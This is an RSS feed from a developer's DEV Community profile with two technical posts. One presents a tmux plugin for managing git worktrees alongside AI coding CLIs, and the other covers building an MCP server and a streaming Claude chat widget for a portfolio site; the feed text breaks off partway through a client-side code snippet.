<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: denesbeck</title>
    <description>The latest articles on DEV Community by denesbeck (@denesbeck).</description>
    <link>https://dev.to/denesbeck</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3824129%2Fd220f720-9b6c-4c2f-a535-9119b5fee060.png</url>
      <title>DEV Community: denesbeck</title>
      <link>https://dev.to/denesbeck</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/denesbeck"/>
    <language>en</language>
    <item>
      <title>🌳 tmux-worktree: A Tmux Plugin for Git Worktrees</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Fri, 27 Mar 2026 15:32:04 +0000</pubDate>
      <link>https://dev.to/denesbeck/tmux-worktree-a-tmux-plugin-for-git-worktrees-kpm</link>
      <guid>https://dev.to/denesbeck/tmux-worktree-a-tmux-plugin-for-git-worktrees-kpm</guid>
      <description>&lt;p&gt;&lt;em&gt;Why I built a tmux plugin to manage git worktrees in the age of AI coding tools&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I've been using Neovim and tmux for about 4-5 years now. My config has been virtually the same for 3 years. New editors come and go — I've watched the hype cycles play out — but I keep coming back to the same terminal setup. It's mine. My dotfiles, my keybindings, my workflow. A controlled environment that I own completely.&lt;/p&gt;

&lt;p&gt;And honestly? In 2026, living in the terminal is more relevant than ever.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤖 The AI era made the terminal even better
&lt;/h2&gt;

&lt;p&gt;The rise of AI-powered CLI tools has made the terminal a first-class development environment in a way it never was before. Tools like Claude Code, Gemini CLI, Aider, Codex CLI, and OpenCode all run in the terminal. They don't need an IDE. They don't need a GUI. They just need a shell.&lt;/p&gt;

&lt;p&gt;Claude Code in particular has transformed how I work. It makes me significantly faster and more productive. But it also introduced a new bottleneck.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚧 The single-branch bottleneck
&lt;/h2&gt;

&lt;p&gt;Here's the problem: when you're using an AI coding tool, you want to give it a clean workspace — one branch, one feature, one context. But real work isn't like that. You're juggling multiple features, bug fixes, and experiments on the same repo. With a traditional git workflow (one branch checked out at a time), you're constantly stashing, switching, and losing context.&lt;/p&gt;

&lt;p&gt;This is especially painful with Claude Code. I want to run multiple Claude sessions on the same repo, each working on a different feature. But they can't all share the same working directory.&lt;/p&gt;

&lt;h2&gt;
  
  
  💡 The solution: git worktrees
&lt;/h2&gt;

&lt;p&gt;Git worktrees let you check out multiple branches of the same repo simultaneously, each in its own directory. They share the same &lt;code&gt;.git&lt;/code&gt; history but have independent working trees. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple branches checked out at once&lt;/li&gt;
&lt;li&gt;Multiple Claude Code sessions, each in its own worktree&lt;/li&gt;
&lt;li&gt;No stashing, no context switching, no conflicts&lt;/li&gt;
&lt;li&gt;Token usage maxed out across parallel 4-hour sessions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The bottleneck is gone. Instead of working on one feature at a time, I can have Claude working on three different things in parallel — each in its own worktree, each in its own tmux window.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 What tmux-worktree does
&lt;/h2&gt;

&lt;p&gt;Managing worktrees manually with &lt;code&gt;git worktree add&lt;/code&gt;, &lt;code&gt;git worktree remove&lt;/code&gt;, and keeping tmux windows in sync is tedious. So I built a tmux plugin to handle it all from a floating popup.&lt;/p&gt;

&lt;p&gt;Three keybindings, three workflows:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Keybinding&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prefix + W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create&lt;/td&gt;
&lt;td&gt;Pick a base branch, name your new branch, sync ignored files, select an AI tool, get a new tmux window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prefix + w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Switch&lt;/td&gt;
&lt;td&gt;Pick from existing worktrees, jump to or open the tmux window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prefix + X&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Remove&lt;/td&gt;
&lt;td&gt;Select one or many worktrees to clean up (directory + branch + window)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  AI tool picker
&lt;/h3&gt;

&lt;p&gt;When you create or switch to a worktree, the plugin asks which tool you want to open it with. It detects what's installed on your system and shows a picker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Claude Code&lt;/li&gt;
&lt;li&gt;Gemini CLI&lt;/li&gt;
&lt;li&gt;Aider&lt;/li&gt;
&lt;li&gt;Codex CLI&lt;/li&gt;
&lt;li&gt;OpenCode&lt;/li&gt;
&lt;li&gt;Plain shell&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only installed tools appear as selectable — the rest are dimmed. If only one tool is available, the picker is skipped entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Safe removal
&lt;/h3&gt;

&lt;p&gt;Removing worktrees is where things get dangerous — you don't want to accidentally delete uncommitted work or unmerged branches. The plugin handles this carefully:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dirty state indicators&lt;/strong&gt; — worktrees with uncommitted changes are marked with &lt;code&gt;*&lt;/code&gt; in the picker&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Force-remove prompt&lt;/strong&gt; — if a selected worktree has uncommitted changes, you get an explicit confirmation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Safe branch deletion&lt;/strong&gt; — branches are deleted with &lt;code&gt;git branch -d&lt;/code&gt; first. If unmerged, you're prompted per branch to force-delete or keep it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Main worktree protection&lt;/strong&gt; — the main worktree and default branch cannot be removed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multiselect&lt;/strong&gt; — use Tab to select multiple worktrees for batch removal&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Syncing gitignored files
&lt;/h3&gt;

&lt;p&gt;One problem I kept running into: &lt;code&gt;.env&lt;/code&gt; files, local config, secrets — all gitignored, all needed in every new worktree. Without them, the project won't run. You'd have to manually copy them every time you create a worktree.&lt;/p&gt;

&lt;p&gt;The plugin solves this with a sync step built into the create flow. After naming your branch, you're prompted to sync ignored files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Create new config&lt;/strong&gt; — opens a multiselect picker listing all currently gitignored files. Pick the ones you want, then choose to either symlink or copy them into every new worktree.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Load existing config&lt;/strong&gt; — reuses a previously saved selection, so you don't have to re-pick every time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skip&lt;/strong&gt; — no sync.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The config is saved per repo (outside the worktree, so it's shared across all of them). When a worktree is created, the plugin reads the config and applies it: symlinking or copying each file into the new working directory automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symlink vs copy:&lt;/strong&gt; symlinking means all worktrees share the same file — change it in one place and it updates everywhere. Copying gives each worktree its own independent version, useful when you want to tweak env vars per branch.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚙️ Configuration
&lt;/h2&gt;

&lt;p&gt;Everything is configurable in &lt;code&gt;tmux.conf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Keybindings&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_create_key &lt;span class="s1"&gt;'W'&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_switch_key &lt;span class="s1"&gt;'w'&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_remove_key &lt;span class="s1"&gt;'X'&lt;/span&gt;

&lt;span class="c"&gt;# Tool list (only installed ones are selectable)&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_open_cmds &lt;span class="s1"&gt;'claude,gemini,aider,codex,opencode,$SHELL'&lt;/span&gt;

&lt;span class="c"&gt;# Popup dimensions&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_popup_width &lt;span class="s1"&gt;'60%'&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @worktree_popup_height &lt;span class="s1"&gt;'40%'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🧱 Implementation
&lt;/h2&gt;

&lt;p&gt;The plugin is pure Bash — no compiled dependencies, no runtime requirements beyond tmux 3.2+, fzf, and git. The structure is minimal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tmux-worktree/
├── worktree.tmux          # Entry point, keybindings
└── scripts/
    ├── common.sh           # Shared theme, helpers, fzf config
    ├── worktree-create.sh  # Create flow
    ├── worktree-switch.sh  # Switch flow
    └── worktree-remove.sh  # Remove flow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each workflow runs inside a &lt;code&gt;tmux display-popup&lt;/code&gt; — a floating window that overlays your current session. The popups use fzf for interactive selection with a consistent theme across all three flows.&lt;/p&gt;

&lt;p&gt;Installation is through TPM (Tmux Plugin Manager):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @plugin &lt;span class="s1"&gt;'denesbeck/tmux-worktree'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🎯 Why this matters
&lt;/h2&gt;

&lt;p&gt;The combination of tmux + Neovim + git worktrees + AI coding tools is incredibly powerful. It's not about chasing the latest editor or IDE — it's about having a stable, composable environment where each piece does one thing well.&lt;/p&gt;

&lt;p&gt;Tmux manages sessions and windows. Neovim handles editing. Git worktrees provide isolated working directories. AI tools do the heavy lifting. And tmux-worktree is the glue that ties worktrees and tmux windows together.&lt;/p&gt;

&lt;p&gt;If you live in the terminal and use AI coding tools, this workflow eliminates the biggest friction point: context switching between features. Instead of working sequentially, you work in parallel — and your AI tools can too.&lt;/p&gt;

&lt;p&gt;💻 Check out tmux-worktree on &lt;a href="https://github.com/denesbeck/tmux-worktree" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/21" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>tmux</category>
      <category>bash</category>
      <category>fzf</category>
      <category>git</category>
    </item>
    <item>
      <title>🤖 Building an AI Chat Widget with MCP</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Wed, 18 Mar 2026 07:19:31 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-an-ai-chat-widget-with-mcp-35an</link>
      <guid>https://dev.to/denesbeck/building-an-ai-chat-widget-with-mcp-35an</guid>
      <description>&lt;p&gt;&lt;em&gt;Adding an AI-powered assistant to my portfolio&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I've been exploring the &lt;a href="https://modelcontextprotocol.io/" rel="noopener noreferrer"&gt;Model Context Protocol&lt;/a&gt; (MCP) — Anthropic's open standard for connecting AI models to external data sources. The idea is simple: instead of pasting context into a chat window, you give the AI structured access to your data through tools. I thought it would be a good fit for my portfolio — I have 20 blog posts, several projects, and an about page. Why not let visitors ask an AI assistant about any of it?&lt;/p&gt;

&lt;p&gt;This post covers how I built two things: an &lt;strong&gt;MCP server&lt;/strong&gt; for Claude Code (local development) and a &lt;strong&gt;streaming chat widget&lt;/strong&gt; for the website (production).&lt;/p&gt;

&lt;h2&gt;
  
  
  🧩 What is MCP?
&lt;/h2&gt;

&lt;p&gt;MCP (Model Context Protocol) is a JSON-RPC-based protocol that lets AI models call "tools" — functions that retrieve or manipulate data. Think of it like giving the AI a set of APIs it can call when it needs information.&lt;/p&gt;

&lt;p&gt;For example, if someone asks "How do I set up a Jellyfin server?", the AI can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Call a &lt;code&gt;search_blog_posts&lt;/code&gt; tool with the query "jellyfin server"&lt;/li&gt;
&lt;li&gt;Get back a list of matching blog posts (ranked by relevance)&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;get_blog_post&lt;/code&gt; to retrieve the full content&lt;/li&gt;
&lt;li&gt;Synthesize an answer based on the actual blog post&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The AI decides which tools to call and when — it's an agentic loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  🏗️ Architecture
&lt;/h2&gt;

&lt;p&gt;The implementation has two consumers of the same tool logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────┐
│  Shared: mcp-server/src/         │
│  (Tool definitions + handlers)   │
└──────────┬──────────┬────────────┘
           │          │
   ┌───────▼──┐  ┌────▼─────────────┐
   │  stdio   │  │  Next.js API     │
   │  server  │  │  /api/chat       │
   │          │  │                  │
   │  Claude  │  │  Claude API +    │
   │  Code    │  │  SSE streaming   │
   └──────────┘  └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MCP server&lt;/strong&gt; (&lt;code&gt;mcp-server/&lt;/code&gt;): A standalone Node.js process that communicates via stdin/stdout. Used locally with Claude Code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API route&lt;/strong&gt; (&lt;code&gt;/api/chat&lt;/code&gt;): A Next.js route handler that calls the Claude API with the same tool definitions, executes tools server-side, and streams the response back to the browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both import from the same &lt;code&gt;mcp-server/src/&lt;/code&gt; source — the tool definitions, data loaders, and search logic are shared.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 The MCP Server
&lt;/h2&gt;

&lt;p&gt;The server uses the official &lt;code&gt;@modelcontextprotocol/sdk&lt;/code&gt; and registers six tools:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_blog_posts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Keyword search across titles, descriptions, and tags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_blog_post&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full content of a blog post by ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;list_blog_posts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All published posts with metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_about_info&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Personal info, skills, certs, social links&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;list_projects&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Portfolio projects with tech stacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;list_tags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All unique blog tags&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each tool is registered with a &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt; schema for input validation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;search_blog_posts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Search blog posts by keyword.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Search keywords&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Filter by tag&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;executeTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;search_blog_posts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;executeTool&lt;/code&gt; function is where the actual logic lives — it's a plain TypeScript function with no MCP dependencies, which is why the Next.js API route can import it directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Blog Search
&lt;/h2&gt;

&lt;p&gt;The search is a simple keyword matching algorithm — no vector database, no embeddings. With 20 blog posts, it doesn't need to be fancy:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Tokenize the query into lowercase words&lt;/li&gt;
&lt;li&gt;For each blog post, score it based on matches in the title (3 points), description (2 points), and tags (2 points for exact, 1 for partial)&lt;/li&gt;
&lt;li&gt;Sort by score descending, return top 5&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This works surprisingly well. Searching "jellyfin server" returns the Jellyfin blog post with a score of 9 (title match + tag match + description match).&lt;/p&gt;

&lt;h2&gt;
  
  
  📡 Streaming Responses
&lt;/h2&gt;

&lt;p&gt;The chat widget doesn't wait for the full response — it streams tokens as they arrive, giving the "typing" effect you see in ChatGPT. Here's how it works:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server side&lt;/strong&gt; (&lt;code&gt;/api/chat&lt;/code&gt;):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run tool-use rounds (non-streaming) until Claude produces a final text response&lt;/li&gt;
&lt;li&gt;For the final response, use Claude's streaming API&lt;/li&gt;
&lt;li&gt;Send each text delta as a Server-Sent Event (SSE)
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;claude-sonnet-4-20250514&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;system&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;SYSTEM_PROMPT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;currentMessages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;readable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ReadableStream&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;await &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;content_block_delta&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text_delta&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enqueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="nx"&gt;encoder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`data: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;
          &lt;span class="p"&gt;})}&lt;/span&gt;&lt;span class="s2"&gt;\n\n`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enqueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encoder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data: [DONE]&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Client side&lt;/strong&gt; (React):&lt;/p&gt;

&lt;p&gt;The chat widget reads the SSE stream and appends text to a &lt;code&gt;streamingContent&lt;/code&gt; state variable. The markdown is rendered incrementally as tokens arrive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;getReader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextDecoder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;accumulated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;

&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
